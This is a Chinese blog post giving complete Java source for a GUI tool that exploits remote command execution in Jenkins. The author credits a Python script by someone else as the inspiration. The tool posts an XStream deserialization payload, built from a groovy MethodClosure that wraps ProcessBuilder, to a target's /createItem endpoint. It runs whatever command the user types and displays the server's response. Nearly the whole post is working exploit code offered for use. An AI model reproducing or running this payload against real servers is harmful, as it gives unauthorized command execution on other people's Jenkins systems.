jenkins远程命令执行利用工具
昨天看小飞侠写的py的jenkins的脚本,昨天晚上在微信里评论今天写一个JAVA的GUI的tools.
早上花了点时间写一下:
code:
package com.tools; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.PrintWriter; import java.net.URL; import java.net.URLConnection; import java.util.List; import java.util.Map; import javax.swing.JOptionPane; public class HttpRequest { /** * 向指定 URL 发送POST方法的请求 * * @param url * 发送请求的 URL * @param param * 请求参数,请求参数应该是 name1=value1&name2=value2 的形式。 * @return 所代表远程资源的响应结果 */ public static String sendPost(String url, String param) { PrintWriter out = null; BufferedReader in = null; String result = ""; try { URL realUrl = new URL(url); // 打开和URL之间的连接 URLConnection conn = realUrl.openConnection(); // 设置通用的请求属性 conn.setRequestProperty("accept", " text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); conn.setRequestProperty("connection", "Keep-Alive"); conn.setRequestProperty("user-agent", " Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0"); conn.setRequestProperty("Content-Type", "application/xml"); conn.setRequestProperty("Cookie", ""); // 发送POST请求必须设置如下两行 conn.setDoOutput(true); conn.setDoInput(true); // 获取URLConnection对象对应的输出流 out = new PrintWriter(conn.getOutputStream()); // 发送请求参数 out.print(param); // flush输出流的缓冲 out.flush(); // 定义BufferedReader输入流来读取URL的响应 in = new BufferedReader( new InputStreamReader(conn.getInputStream())); String line; while ((line = in.readLine()) != null) { result += line; } } catch (Exception e) { JOptionPane.showMessageDialog(null, "POST异常!"+e); // System.out.println("发送 POST 请求出现异常!"+e); e.printStackTrace(); } //使用finally块来关闭输出流、输入流 finally{ try{ if(out!=null){ out.close(); } if(in!=null){ in.close(); } } catch(IOException ex){ ex.printStackTrace(); } } return result; } }
package com.tools; import java.awt.Component; import java.awt.Container; import java.awt.Dimension; import java.awt.FlowLayout; import java.awt.Label; import java.awt.LayoutManager; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.IOException; import java.net.CookieHandler; import javax.swing.JButton; import javax.swing.JFrame; import javax.swing.JOptionPane; import javax.swing.JPanel; import javax.swing.JTextArea; import javax.swing.JTextField; import javax.xml.soap.Text; //jenkins public class SQL extends JFrame { private Label inputLabel; private JTextField text; private JButton button; private JTextField command; private JTextField cmdcontent; private JTextField cookie; private JPanel jp; private JTextArea area; public void init() { Container cp = this.getContentPane(); inputLabel = new Label("please input url:"); cp.add(inputLabel); text = new JTextField("http://www.sufont.com/", 20); cp.add(text); button = new JButton("OK"); cp.add(button); command = new JTextField("输入要执行的命令,例如:touch", 25); cmdcontent = new JTextField("执行命令的内容,例如:/tmp/qingteng-test-1", 25); cookie=new JTextField("cookie", 25); area=new JTextArea(20, 25); cp.add(cookie); cp.add(command); cp.add(cmdcontent); cp.add(area); area.setText(""); this.setSize(450, 280); this.setVisible(true); this.setTitle("Jenkins远程命令利用工具-By:sevck"); this.setLayout(new FlowLayout(2, 2, 2)); this.setDefaultCloseOperation(3); this.setLocationRelativeTo(null); this.setResizable(false); } public SQL() { init(); button.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { // TODO Auto-generated method stub String url = text.getText();// get url content if (url.contains("http://")) { if (url.equalsIgnoreCase("http://")) { JOptionPane.showMessageDialog(null, "url is null"); } else { HttpRequest con = new HttpRequest(); String content = con.sendPost(url+ "/createItem?name=qt-sec", "<map><entry><groovy.util.Expando><expandoProperties> <entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegate class='groovy.util.Expando' reference='../../../..'/><owner class='java.lang.ProcessBuilder'><command><string>"+command.getText()+"</string><string>"+cmdcontent.getText()+"</string></command><redirectErrorStream>false</redirectErrorStream></owner><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method></org.codehaus.groovy.runtime.MethodClosure></entry></expandoProperties></groovy.util.Expando><int>1</int></entry></map>"); JOptionPane.showMessageDialog(null, "命令执行完毕2!"); System.out.println(content); area.setText("result:\r\n"+content); // try { // // Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler "+url); // } catch (IOException e1) { // // TODO Auto-generated catch blocks // e1.printStackTrace(); // } } } else { JOptionPane.showMessageDialog(null, "加http://"); } } }); } public static void main(String[] args) { // TODO Auto-generated method stub new SQL(); } }
界面写的比较简陋,能用就可以 ;)
【版权所有@Sevck 博客地址http://www.cnblogs.com/sevck】 可以转载,注明出处.